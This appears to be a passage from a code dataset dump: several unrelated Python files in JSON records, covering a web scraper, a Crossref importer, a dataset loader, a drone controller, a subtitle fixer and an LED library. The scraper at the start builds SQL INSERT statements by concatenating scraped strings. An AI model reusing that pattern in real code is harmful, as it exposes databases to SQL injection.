td[6].get_text()\n                        bzsl = td[7].get_text()\n                        xs = td[8].get_text()\n                        jg = td[11].get_text()\n                        je = td[12].get_text()\n                        # print(url, ddh, ddlb, dhrq, jzrq, jyfs, mcbm, mcmc, kqbm, kqmc, dsbm, dsmc, shzt, spbm,\n                        #       txm, pm, pp, dw, js, bzsl, xs, jg, je)\n                        #sql\n                        sql = \"insert into zbddjk values('\" + ddh + \"','\" + ddlb + \"','\" + dhrq + \"','\" + jzrq + \\\n                              \"','\" + jyfs + \"','\" + mcbm + \"','\" + mcmc + \"','\" + kqbm + \"','\" + kqmc + \"','\" + dsbm + \\\n                              \"','\" + dsmc + \"','\" + shzt + \"','\" + spbm + \"','\" + txm + \"','\" + pm + \\\n                              \"','\" + pp +\"','\" + dw +\"',\" + js +\",\" + bzsl +\",\" + xs + \\\n                              \",\" + jg +\",\" + je +\")\"\n\n                        # print(sql)\n                        cursor.execute(sql)\n                        conn.commit()\n    cursor.close()\n    conn.close()\n\n\n\n\n\n","sub_path":"zon100_junke.py","file_name":"zon100_junke.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"549164391","text":"# Dictionaries inside a Dictionary\ndef create_main_dic():\n    posts = dict()\n    data = input()\n    while data != \"drop the media\":\n        data = data.split(' ')\n        command = data[0]\n        post_name = data[1]\n        if command == \"post\":\n            posts[post_name] = {'Likes': 0, 'Dislikes': 0, 'Comments': {}}\n\n        elif command == \"like\":\n            posts[post_name]['Likes'] += 1\n\n        elif command == \"dislike\":\n            posts[post_name]['Dislikes'] += 1\n\n        elif command == \"comment\":\n            commentator_name = data[2]\n            commentator_comment = data[3:]\n            posts[post_name]['Comments'].update({commentator_name: commentator_comment})\n\n        data = input()\n\n    return posts\n\n\ndef drop_the_media(posts):\n    for key, value in posts.items():\n        print(f'Post: {key} ', end='')\n        for inner_key, inner_value in value.items():\n            if inner_key != \"Comments\":\n                print(f'| {inner_key}: {inner_value}', end=' ')\n            else:\n                print(f'\\n{inner_key}:')\n                if inner_value:\n                    for key3, value3 in inner_value.items():\n                        print(f\"*  {key3}: {' '.join(value3)}\")\n                else:\n                    print(\"None\")\n\n\ndef main():\n    dic = create_main_dic()\n    drop_the_media(dic)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"Python/Python-Fundamentals/4.2Dictionaries_Advanced/5.@Social Media Posts.py","file_name":"5.@Social Media Posts.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"340794769","text":"class Solution:\n    def search(self, nums: List[int], target: int) -> int:\n        if nums == []:\n            return -1\n        def findmin(l:int,r:int)->int:\n            MIN = 2147483647\n            index = 0\n            for i in range(l,r+1):\n                if nums[i]<MIN:\n                    MIN = nums[i]\n                    index = i\n            return index\n        def find(l:int,r:int)->int:\n            if r-l<10:\n                return findmin(l,r)\n            mid = (l+r)//2\n            if nums[mid]<nums[r]:\n                return find(l,mid)\n            else:\n                return find(mid,r)\n        index = find(0,len(nums)-1)\n        def ist(l:int,r:int)->int:\n            for i in range(l,r+1):\n                if nums[i]==target:\n                    return i\n            return -1\n        def findt(l:int,r:int)->int:\n            if r-l<10:\n                return ist(l,r)\n            else:\n                mid = (l+r)//2\n                if target==nums[mid]:\n                    return mid\n                if target<nums[mid]:\n                    return findt(l,mid)\n            return findt(mid,r)\n        f1 = findt(0,index)\n        f2 = findt(index,len(nums)-1)\n        if f1!=-1:\n            return f1\n        if f2!=-1:\n            return f2\n        return -1","sub_path":"Codes/Daily-Practice/t33.py","file_name":"t33.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"269824943","text":"from __future__ import division\nimport os\nimport numpy as np\nfrom imageio import imread\n\nimport torch\nimport torch.utils.data as data\n\nfrom datasets import pms_transforms\nfrom . import util\nnp.random.seed(0)\n\nclass UpsLightStageDataset(data.Dataset):\n    def __init__(self, args, split='train'):\n        self.root   = os.path.join(args.bm_dir)\n        self.split  = split\n        self.args   = args\n        self.objs   = util.read_list(os.path.join(self.root, 'objects.txt'), sort=False)\n        self.lights = np.genfromtxt(os.path.join(self.root, 'light_directions.txt'))\n        self.intens = np.genfromtxt(os.path.join(self.root, 'light_intensities.txt'))\n        print('[%s Data] \\t%d objs %d lights. Root: %s' % (split, len(self.objs), len(self.lights), self.root))\n\n        self.imgs, self.normals, self.masks  = {}, {}, {}\n        self.img_lights, self.img_intens = {}, {}\n        for i in range(len(self.objs)):\n            if self.args.debug and i >= self.args.max_test_iter:\n                break\n            self._load_data(i)\n\n    def _get_mask(self, obj):\n        mask = imread(os.path.join(self.root, obj, 'matte.png'))\n        if mask.ndim > 2: mask = mask[:,:,0]\n        mask = mask.reshape(mask.shape[0], mask.shape[1], 1)\n        return mask / 255.0\n\n    def _load_data(self, index):\n        obj   = self.objs[index]\n        self.img_lights[obj] = self.lights * -1\n        self.img_intens[obj] = self.intens\n\n        cache_name = os.path.join(self.root, obj, obj + '_uncalib.npy')\n        img = np.load(cache_name)\n        print('Loaded cache from %s, shape: [%d, %d, %d]' % (cache_name, img.shape[0], img.shape[1], img.shape[2]))\n        # The shape of img is [H, W, 3 * N], N is the number of lightings\n\n        mask = self._get_mask(obj)\n        h, w, c = img.shape\n        if self.args.test_resc:\n            h, w = self.args.test_h, self.args.test_w\n            img = pms_transforms.rescale_single(img, [h, w], order=1)\n            mask = pms_transforms.rescale_single(mask, [h, w], order=1)\n\n        normal = np.zeros((h, w, 3)) # dummy normal\n        normal[:, :, 2] = 1\n        k = 4 \n        img  = pms_transforms.imgsize_to_factor_of_k(img, k)\n        mask = pms_transforms.imgsize_to_factor_of_k(mask, k)\n        normal = pms_transforms.imgsize_to_factor_of_k(normal, k)\n\n        img  = img * mask.repeat(img.shape[2], 2)\n        self.imgs[obj], self.normals[obj], self.masks[obj] = img, normal, mask\n        \n    def __getitem__(self, index):\n        obj   = self.objs[index // self.args.repeat]\n        item = {'normal': self.normals[obj], 'img': self.imgs[obj], 'mask':self.masks[obj]}\n\n        h, w, c = self.imgs[obj].shape\n        proxys = pms_transforms.get_zero_proxy(self.args, h, w, c // 3)\n        for k in proxys: item[k] = proxys[k]\n\n        for k in item.keys(): \n            item[k] = pms_transforms.array_to_tensor(item[k])\n\n        item['dirs'] = torch.from_numpy(self.img_lights[obj]).view(-1, 1, 1).float()\n        item['ints'] = torch.from_numpy(self.img_intens[obj]).view(-1, 1, 1).float()\n        item['obj'] = obj\n        item['path'] = os.path.join(self.root, obj)\n        return item\n\n    def __len__(self):\n        return len(self.objs) * self.args.repeat\n","sub_path":"datasets/ups_LightStage_dataset.py","file_name":"ups_LightStage_dataset.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"627924527","text":"import os\nimport sys\nfrom datetime import datetime\nimport time\nfrom sqlalchemy import Column, BIGINT, DECIMAL, DATETIME \n\n# 親ディレクトリの設定\napp_home = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\" ))\n\n# パス / 設定系の読み込み\nsys.path.append(os.path.join(app_home, \"setting\"))\nfrom db_setting import ENGINE, Base\n\nclass BitflyerTicker(Base):\n    \n    \"\"\"\n    BitflyerTickerModel\n    \"\"\"\n    __tablename__ = \"bitflyer_ticker\"\n \n    id = Column(BIGINT, primary_key = True, nullable = True)\n    request_nonce = Column(BIGINT, nullable = True)\n    bid = Column(DECIMAL, nullable = True)\n    ask = Column(DECIMAL, nullable = True)\n    volume = Column(DECIMAL, nullable = True)\n    timestamp = Column(BIGINT, nullable = True)\n    server_nonce = Column(BIGINT, nullable = True)\n    index_price = Column(DECIMAL, nullable = True)\n    created_at = Column(DATETIME, nullable = True)\n\n    ##### insert\n    def insert(session, request_nonce, ticker_info, index_price):\n        sharping_time = ticker_info[\"timestamp\"].split(\".\")[0].replace(\"T\", \" \")\n        session.add(\n            BitflyerTicker(\n                request_nonce = request_nonce,\n                bid = ticker_info[\"best_bid\"],\n                ask = ticker_info[\"best_ask\"],\n                volume = ticker_info[\"volume\"],\n                timestamp = datetime.strptime(sharping_time, \"%Y-%m-%d %H:%M:%S\").timestamp(),\n                server_nonce = int(sharping_time.replace(\" \", \"\").replace(\"-\", \"\").replace(\":\", \"\")),\n                index_price = index_price,\n                created_at = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n            )\n        )\n        session.commit()\n\ndef main(args):\n    Base.metadata.create_all(bind = ENGINE)\n\nif __name__ == \"__main__\":\n    main(sys.argv)\n\n","sub_path":"models/bitflyer_ticker.py","file_name":"bitflyer_ticker.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"537461831","text":"from .fake import *\nfrom kurisu.cogs.steins import SteinsGate as Cog\nimport kurisu.tips\n\nname = \"Tips & embeds\"\n\nasync def run():\n    log = []\n    kurisu.tips.init()\n    cog = Cog(client)\n\n    async def search(log, word, correct, sg = 1):\n        log += ['Ищем %s, будто у бота...' % word]\n        try:\n            if sg:\n                await cog.tips(cog, ctx, word)\n            else:\n                await cog.tips0(cog, ctx, word)\n            embed = ctx.messages[-1][1]['embed']\n            found_word = embed.fields[0].name\n            log += ['Успешно? True']\n            log += ['Верно? %r (%s)' % (found_word == correct, found_word)]\n        except:\n            log += ['Успешно? False']\n        log += ['']\n\n        ctx.reset()\n\n    await search(log, 'Alpaca', 'Альпака')\n    await search(log, 'krr', 'Керровская чёрная дыра', 0)\n\n    return log\n","sub_path":"Kurisu/salieri/integrations/tips.py","file_name":"tips.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"170642609","text":"import os\nimport sickle\nimport boto\nimport datetime\nimport requests\nfrom time import sleep\nfrom time import time\nfrom urllib import quote\nimport zlib\nimport re\nimport json\nimport argparse\nfrom sqlalchemy.dialects.postgresql import JSONB\n\n\nfrom app import db\nfrom app import logger\nfrom util import JSONSerializerPython2\nfrom util import elapsed\nfrom util import safe_commit\nfrom util import normalize_title\nfrom pub import Pub\nfrom pub import build_crossref_record\n\n# data from https://archive.org/details/crossref_doi_metadata\n# To update the dump, use the public API with deep paging:\n# http://api.crossref.org/works?filter=from-update-date:2016-04-01&rows=1000&cursor=*\n# The documentation for this feature is available at:\n# https://github.com/CrossRef/rest-api-doc/blob/master/rest_api.md#deep-paging-with-cursors\n\n\ndef is_good_file(filename):\n    return \"chunk_\" in filename\n\n\n\n\ndef api_to_db(query_doi=None, first=None, last=None, today=False, chunk_size=None):\n    i = 0\n    records_to_save = []\n\n    headers={\"Accept\": \"application/json\", \"User-Agent\": \"impactstory.org\"}\n\n    base_url_with_last = \"http://api.crossref.org/works?filter=from-created-date:{first},until-created-date:{last}&rows=1000&cursor={next_cursor}\"\n    base_url_no_last = \"http://api.crossref.org/works?filter=from-created-date:{first}&rows=1000&cursor={next_cursor}\"\n    base_url_doi = \"http://api.crossref.org/works?filter=doi:{doi}\"\n\n    # but if want all changes, use \"indexed\" not \"created\" as per https://github.com/CrossRef/rest-api-doc/blob/master/rest_api.md#notes-on-incremental-metadata-updates\n    # base_url_with_last = \"http://api.crossref.org/works?filter=from-indexed-date:{first},until-indexed-date:{last}&rows=1000&cursor={next_cursor}\"\n    # base_url_no_last = \"http://api.crossref.org/works?filter=from-indexed-date:{first}&rows=1000&cursor={next_cursor}\"\n\n    next_cursor = \"*\"\n    has_more_responses = True\n    num_so_far = 0\n\n    if today:\n        last = datetime.date.today().isoformat()\n        first = (datetime.date.today() - datetime.timedelta(days=2)).isoformat()\n\n    if not first:\n        first = \"2016-04-01\"\n\n    while has_more_responses:\n        if query_doi:\n            url = base_url_doi.format(doi=query_doi)\n        else:\n            if last:\n                url = base_url_with_last.format(first=first, last=last, next_cursor=next_cursor)\n            else:\n                # query is much faster if don't have a last specified, even if it is far in the future\n                url = base_url_no_last.format(first=first, next_cursor=next_cursor)\n\n        logger.info(u\"calling url: {}\".format(url))\n        start_time = time()\n        resp = requests.get(url, headers=headers)\n        logger.info(u\"getting crossref response took {} seconds\".format(elapsed(start_time, 2)))\n        if resp.status_code != 200:\n            logger.info(u\"error in crossref call, status_code = {}\".format(resp.status_code))\n            return\n\n        resp_data = resp.json()[\"message\"]\n        next_cursor = resp_data.get(\"next-cursor\", None)\n        if next_cursor:\n            next_cursor = quote(next_cursor)\n\n        if not resp_data[\"items\"] or not next_cursor:\n            has_more_responses = False\n\n        for api_raw in resp_data[\"items\"]:\n            # logger.info(u\":\")\n            api = {}\n            doi = api_raw[\"DOI\"].lower()\n\n            # using _source key for now because that's how it came out of ES and\n            # haven't switched everything over yet\n            api[\"_source\"] = build_crossref_record(api_raw)\n            api[\"_source\"][\"doi\"] = doi\n\n            my_pub = Pub(id=doi, api=api, api_raw=api_raw)\n            \n            my_pub.title = api[\"_source\"][\"title\"]\n            my_pub.normalized_title = normalize_title(my_pub.title)\n            db.session.merge(my_pub)\n            logger.info(u\"got record {}\".format(my_pub))\n            records_to_save.append(my_pub)\n\n            if len(records_to_save) >= 100:\n                safe_commit(db)\n                num_so_far += len (records_to_save)\n                records_to_save = []\n                logger.info(u\"committing.  have committed {} so far, in {} seconds, is {} per hour\".format(\n                    num_so_far, elapsed(start_time, 1), num_so_far/(elapsed(start_time, 1)/(60*60))))\n\n\n        logger.info(u\"at bottom of loop\")\n\n    # make sure to get the last ones\n    logger.info(u\"saving last ones\")\n    safe_commit(db)\n    logger.info(u\"done everything\")\n\n\n\n\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Run stuff.\")\n\n    function = api_to_db\n    parser.add_argument('--first', nargs=\"?\", type=str, help=\"first filename to process (example: --first 2006-01-01)\")\n    parser.add_argument('--last', nargs=\"?\", type=str, help=\"last filename to process (example: --last 2006-01-01)\")\n\n    parser.add_argument('--query_doi', nargs=\"?\", type=str, help=\"pull in one doi\")\n\n    parser.add_argument('--today', action=\"store_true\", default=False, help=\"use if you want to pull in crossref records from last 2 days\")\n\n    parser.add_argument('--chunk_size', nargs=\"?\", type=int, default=100, help=\"how many docs to put in each POST request\")\n\n\n    parsed = parser.parse_args()\n\n    logger.info(u\"calling {} with these args: {}\".format(function.__name__, vars(parsed)))\n    function(**vars(parsed))\n\n","sub_path":"put_crossref_in_db.py","file_name":"put_crossref_in_db.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"256768031","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom sqlalchemy.sql import select, and_, func, between\n\nfrom blog.core.common.db import db\nfrom blog.utils.tools import to_object_dict\n\n\nclass CategoryDAO(object):\n\n    @classmethod\n    @to_object_dict\n    def get_all_categories_by_article_ids(cls, article_ids):\n        t = db.article_category\n        sql = select([t]).where(t.c.article_id.in_(article_ids))\n        sql = sql.order_by(t.c.id.desc())\n        return db.execute(sql).fetchall()\n\n    @classmethod\n    @to_object_dict\n    def get_by_ids(cls, ids):\n        t = db.category\n        sql = select([t]).where(t.c.id.in_(ids))\n        sql = sql.order_by(t.c.id.desc())\n        return db.execute(sql).fetchall()\n\n    @classmethod\n    @to_object_dict\n    def get_by_ids_v2(cls, ids):\n        t = db.article_category\n        sql = select([t]).where(t.c.id.in_(ids))\n        sql = sql.order_by(t.c.id.desc())\n        return db.execute(sql).fetchall()\n","sub_path":"blog/core/models/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"332021585","text":"import argparse\nimport logging\n\nimport eatcode_img.average_colour\nimport eatcode_img.scan_dir\n\n\ndef _init():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"src_dir\", help=\"source dir of images\")\n    parser.add_argument(\"--log\", help=\"optional log level, default is WARN\")\n    _args = parser.parse_args()\n    logging.basicConfig(level=logging.INFO)\n    return _args\n\n\ndef create_averages(src_dir):\n    logger = logging.getLogger(\"eatcode\")\n    images = eatcode_img.scan_dir.scan(src_dir)\n    for img in images:\n        logger.info(\"processing file %s\", img.name)\n        eatcode_img.average_colour.average(img.name)\n\n\nif __name__ == '__main__':\n    args = _init()\n    print(args)\n    create_averages(args.src_dir)\n","sub_path":"create_average_colours.py","file_name":"create_average_colours.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"436932741","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 16 20:50:22 2020\n@author: Hassan Umari\n\"\"\"\n\nfrom pysrt.srtitem import SubRipItem\nfrom pysrt.srtfile import SubRipFile \nimport pysrt\nimport argparse\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser(description=\n                                                \"covert a .srt exported file \\\n                                                from sonix.ai which has coded \\\n                                                double lines to a normal srt \\\n                                                file. \\\n                                                Ex:\\\n                                                fixsrt myFile.srt --output convertedFile.srt\")\n    parser.add_argument('file', type=str, help=\"file to be converted\")\n    parser.add_argument('--output', type=str, default=\"output\",\n                 help=\"name of output file without extention (default: output)\")\n\n    parser.add_argument('--eol', type=str, default=\"###\",\n                 help=\"End of line marker (default: ###)\")\n    \n    args=parser.parse_args()\n\n    subs = pysrt.open(args.file)\n    after_subs = []\n\n    indx = 1\n    iterator = iter(subs)\n\n    while True:\n        try:\n            sub = next(iterator)\n        except StopIteration:\n            break\n\n        if sub.text[-len(args.eol):] != args.eol:\n            after_subs.append(SubRipItem(indx, sub.start, sub.end, sub.text))\n        else:\n            line2_sub = next(iterator)\n            text = sub.text[:-len(args.eol)] + '\\n' + line2_sub.text\n            combined_sub = SubRipItem(indx, sub.start, line2_sub.end, text=text)\n            after_subs.append(combined_sub)\n        indx += 1\n\n    after = SubRipFile(items=after_subs)\n    after.save(args.output + '.srt', encoding='utf-8')\n","sub_path":"bin/fixsrt.py","file_name":"fixsrt.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"364681501","text":"\"\"\"uav_control controller.\"\"\"\nfrom controller import Robot, Camera, InertialUnit, GPS, Compass, Gyro, Motor, Keyboard, Emitter, Receiver\nimport math\nimport numpy as np\nimport struct\nimport time\n# create the Robot instance.\nrobot = Robot()\n\n# get the time step of the current world.\ntimestep = int(robot.getBasicTimeStep())\nkeyboard = Keyboard()\nkeyboard.enable(timestep)\nreceiver = robot.getReceiver(\"receiver\")\nreceiver.enable(timestep)\nimu = robot.getInertialUnit(\"inertial unit\")\nimu.enable(timestep)\ncamera = robot.getCamera(\"camera\")\ncamera.enable(timestep)\ngps = robot.getGPS(\"gps\")\ngps.enable(timestep)\ncompass = robot.getCompass(\"compass\")\ncompass.enable(timestep)\ngyro = robot.getGyro(\"gyro\")\ngyro.enable(timestep)\ncamera_roll_motor = robot.getCamera(\"camera roll\")\ncamera_pitch_motor = robot.getCamera(\"camera pitch\")\nfront_left_motor = robot.getMotor(\"front left propeller\")\nfront_right_motor = robot.getMotor(\"front right propeller\")\nrear_left_motor = robot.getMotor(\"rear left propeller\")\nrear_right_motor = robot.getMotor(\"rear right propeller\")\nmotors = [front_left_motor, front_right_motor, rear_left_motor, rear_right_motor]\n\n# arming\nfor i in range(4):\n    motors[i].setPosition(float(\"inf\"))\n    motors[i].setVelocity(1.0)\nprint(\"arming\")\nk_vertical_thrust = 68.5\nk_vertical_offset = 0.6\nk_vertical_p = 3.0  \nk_roll_p = 50.0\nk_pitch_p = 30.0\ntarget_altitude = 1.0 \nroll_disturbance = 0\npitch_disturbance = 0\nyaw_disturbance = 0\n# target\ntarget_z = 1\ntarget_x = 0\ntarget_y = 0\ntarget_yaw = 0\ndef convert_to_pitch_roll(ex, ey, yaw):\n    c, s = np.cos(yaw), np.sin(yaw)\n    R = np.array(((c, -s), (s, c)))\n    exy_ = np.matmul([ex, ey], R)\n    return exy_[0], exy_[1]\ndef convert_to_target(x, y, yaw):\n    dx = 1\n    dy = 1\n    if yaw > 0:\n        yaw = -(yaw - math.pi)\n    elif yaw < 0:\n        yaw = -(yaw + math.pi)\n    c, s = np.cos(-yaw), np.sin(-yaw)\n    R = np.array(((c, -s), (s, c)))\n    dxy_ = np.matmul([dx, dy], R)\n    return x + dxy_[0], y + dxy_[1]\n# Main loop:\n\n# - perform simulation steps until Webots is stopping the controller\nwhile robot.step(timestep) != -1:\n    # Read the sensors:\n\n    # get data from leader\n    message=receiver.getData()\n    dataList=struct.unpack(\"5f\",message)\n    leader_x, learder_y, leader_z, leader_yaw, leader_yaw_input = dataList[0], dataList[1], dataList[2], dataList[3], dataList[4]\n    receiver.nextPacket()\n    \n    target_x, target_y = convert_to_target(leader_x, learder_y, leader_yaw)\n    target_z = leader_z\n    # read sensor\n    roll = imu.getRollPitchYaw()[0] + math.pi / 2.0\n    pitch = imu.getRollPitchYaw()[1]\n    yaw = imu.getRollPitchYaw()[2]\n    altitude = gps.getValues()[1]\n    px = gps.getValues()[0]\n    py = gps.getValues()[2]\n    roll_acceleration = gyro.getValues()[0]\n    pitch_acceleration = gyro.getValues()[1]\n        \n    # Compute the roll, pitch, yaw and vertical inputs.\n    pitch_err, roll_err = convert_to_pitch_roll(px - target_x, target_y - py, yaw)\n    roll_input = k_roll_p * np.clip(roll, -1.0, 1.0) + roll_acceleration - roll_err\n    pitch_input = k_pitch_p * np.clip(pitch, -1.0, 1.0) - pitch_acceleration - pitch_err\n    yaw_input = leader_yaw_input\n    clamped_difference_altitude = np.clip(target_z - altitude + k_vertical_offset, -1.0, 1.0)\n    vertical_input = k_vertical_p * math.pow(clamped_difference_altitude, 3.0)\n    # Actuate the motors taking into consideration all the computed inputs.\n    front_left_motor_input = k_vertical_thrust + vertical_input - roll_input - pitch_input + yaw_input\n    front_right_motor_input = k_vertical_thrust + vertical_input + roll_input - pitch_input - yaw_input\n    rear_left_motor_input = k_vertical_thrust + vertical_input - roll_input + pitch_input - yaw_input\n    rear_right_motor_input = k_vertical_thrust + vertical_input + roll_input + pitch_input + yaw_input\n    \n    front_left_motor.setVelocity(front_left_motor_input)\n    front_right_motor.setVelocity(-front_right_motor_input)\n    rear_left_motor.setVelocity(-rear_left_motor_input)\n    rear_right_motor.setVelocity(rear_right_motor_input)\n\n    pass\n\n# Enter here exit cleanup code.\n","sub_path":"controllers/follower1_ctrl/follower1_ctrl.py","file_name":"follower1_ctrl.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"566052070","text":"from InstruccionesPL.TablaSimbolosPL.InstruccionPL import InstruccionPL\nfrom InstruccionesPL.TablaSimbolosPL.ArbolPL import Cuadruplo\n\nclass WhenExcept(InstruccionPL):\n    def __init__(self,OperacionLogica, ResultException, tipo, linea, columna, strGram):\n        InstruccionPL.__init__(self, tipo, linea, columna, strGram)        \n        self.OperacionLogica = OperacionLogica\n        self.ResultException = ResultException\n\n    def ejecutar(self, tabla, arbol):\n        super().ejecutar(tabla,arbol)\n        #ejecucion de una funcion\n\n    def traducir(self, tabla, arbol):\n        super().traducir(tabla, arbol)\n        res = ''\n\n        indTemp1 = arbol.getLast()\n        heapResultado  = self.OperacionLogica.traducir(tabla, arbol) # operacion_logica de la condicion del case\n        indTemp2 = arbol.getLast()\n\n        #Se verifica si en la condicion del when viene un terminal o una etiqueta\n        if indTemp1 == indTemp2: # When es terminal\n            #arbol.modificarTripletaCase(None,heapResultado,None,None)\n            etiResultado1 =  arbol.generarEtiqueta()\n            res = 'if {0} : goto {1}'.format(heapResultado, etiResultado1) # tn = opCase == heapResultado\n            arbol.add3D([res])\n            arbol.agregarTripleta(0,'if',heapResultado,indTemp1+3)\n            arbol.agregarGeneral(0,'if',heapResultado,etiResultado1)\n            cuad = Cuadruplo('if', heapResultado, 'goto', etiResultado1)\n            arbol.agregarCuadruplo(cuad)\n\n        else: # When trae una etiqueta\n            #arbol.modificarTripletaCase(None,heapResultado,indTemp2,None)\n            etiResultado1 =  arbol.generarEtiqueta()\n            res = 'if {0} : goto {1}'.format(heapResultado, etiResultado1) # tn = opCase == heapResultado\n            arbol.add3D([res])\n            arbol.agregarTripleta(0,'if',arbol.getLast(), indTemp2+4)\n            arbol.agregarGeneral(0,'if',heapResultado,etiResultado1) \n            cuad = Cuadruplo('if', heapResultado, 'goto', etiResultado1)\n            arbol.agregarCuadruplo(cuad)  \n        \n        if self.ResultException != None:\n            for resultExcs in self.ResultException:\n                if type(resultExcs) == list:\n                    for resultExc in resultExcs:\n                        resultExc.traducir(tabla, arbol)\n        else:\n            resultExcs.traducir(tabla, arbol) \n\n        ","sub_path":"parser/fase2/team10/InstruccionesPL/Exceptions/WhenExcept.py","file_name":"WhenExcept.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"173996348","text":"#\n# Copyright (c) 2014 NSONE, Inc.\n#\n# License under The MIT License (MIT). See LICENSE in project root.\n#\n\nfrom .base import BaseCommand\n\n\nclass _config(BaseCommand):\n\n    \"\"\"\n    usage: ns1 config [show]\n       ns1 config key KEYID\n\n    Actions:\n       show     Show the existing config\n       key      Set the active configuration key ID\n\n    \"\"\"\n\n    SHORT_HELP = \"View and manipulate configuration settings\"\n\n    def run(self, args):\n        if args['show']:\n            self.show()\n        elif args['key']:\n            self.key(args['KEYID'])\n        else:\n            self.show()\n\n    def key(self, keyid):\n        self.nsone.config.useKeyID(keyid)\n        self.out('Using Key: %s' % keyid)\n        self.out('Endpoint: %s' % self.nsone.config.getEndpoint())\n\n    def show(self):\n        self.out('Current Key: %s' % self.nsone.config.getCurrentKeyID())\n        self.ppText(self.nsone.config.getKeyConfig())\n        self.out(self.nsone.config)\n\nconfig = _config()\n","sub_path":"ns1cli/commands/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"255620567","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\nimport opc, time\nimport random\nimport colorsys\nimport copy\nimport sys\nimport datetime\nimport math\n\n\"\"\"\nfill_rainbow()\n\n\"\"\"\n\n\nclass FadeLIB(object):\n\tCHANNEL=0\n\tLED_ORDER='rgb'\n\tPIXELS = None\n\n\tNUM_LEDS = 50\n\tclient = opc.Client('localhost:7890')\n\n\tBRIGHTNESS = 1.0\n\tCHANCE_GLITTER = 5\n\tCHANCE_CONFETTI = 5\n\tCONFETTI_AMOUNT = 3\n\n\tCOLOR = {}\n\tCOLOR['BLACK']   = (000,000,000)\n\tCOLOR['GREY']    = (127,127,127)\n\tCOLOR['GRAY']    = (127,127,127)\n\tCOLOR['WHITE']   = (255,255,255)\n\tCOLOR['RED']     = (255,000,000)\n\tCOLOR['YELLOW']  = (255,255,000)\n\tCOLOR['MAGENTA'] = (255,000,255)\n\tCOLOR['BLUE']    = (000,000,255)\n\tCOLOR['GREEN']   = (000,255,000)\n\tCOLOR['CYAN']    = (000,255,255)\n\tCOLOR['ORANGE']  = (255,127,000)\n\tCOLOR['GOLD']    = '#FFFF00'\n\tCOLOR['DARK_GREEN'] = '#006600'\n\tCOLOR['BROWN']   = '#803000'\n\tCOLOR['PURPLE']  = '#C038FF'\n\tCOLOR['SILVER']  = '#C0C0C0'\n\tCOLOR['ANTIQUE_WHITE'] = '#FAEBD7'\n\tCOLOR['AMETHYST'] = '#9966CC'\n\tCOLOR['AQUA'] = COLOR['CYAN']\n\tCOLOR['AQUAMARINE'] = '#7FFFD4'\n\tCOLOR['AZURE'] = '#F0FFFF'\n\tCOLOR['BEIGE'] = '#F5F5DC'\n\tCOLOR['BISQUE'] = '#FF34C4'\n\tCOLOR['BLANCHED_ALMOND'] = '#FFEBCD'\n\tCOLOR['BLUE_VIOLET'] = '#8A2BE2'\n\tCOLOR['BROWN'] = '#A52A2A'\n\tCOLOR['BURLY_WOOD'] = '#DEB887'\n\tCOLOR['CADET_BLUE'] = '#5F9EA0'\n\tCOLOR['CHARTREUSE'] = '#7FFF00'\n\tCOLOR['CHOCOLATE'] = '#D2691E'\n\n\tTHEME = {}\n\tTHEME['christmas'] = ('RED','GREEN','RED','GREEN','WHITE')\n\tTHEME['independence'] = ('RED','WHITE','BLUE')\n\tTHEME['halloween'] = ('ORANGE','ORANGE','GREEN','DARK_GREEN')\n\tTHEME['usmc'] = ('RED','GOLD')\n\n\tdef __init__(self,**kwargs):\n\t\tif 'BRIGHTNESS' in kwargs:\n\t\t\tself.BRIGHTNESS = kwargs['BRIGHTNESS']\n\t\t\tif self.BRIGHTNESS > 1:\n\t\t\t\tself.BRIGHTNESS = 1\n\t\t\telif self.BRIGHTNESS < 0:\n\t\t\t\tself.BRIGHTNESS = 0\n\t\tif 'NUM_LEDS' in kwargs:\n\t\t\tself.NUM_LEDS = kwargs['NUM_LEDS']\n\t\tif 'CHANNEL' in kwargs:\n\t\t\tself.CHANNEL = kwargs['CHANNEL']\n\t\tself.PIXELS = self.fill_solid('BLACK')\n\t\tself.update()\n\t\tself.update()\n\n\tdef roll(self,matrix):\n\t\theight = len(matrix)\n\t\twidth = max(len(row) for row in matrix)\n\n\t\t#for col in xrange(width):\n\t\t#\tfor row in xrange(center[0]+1):\n\t\t#\t\ty = 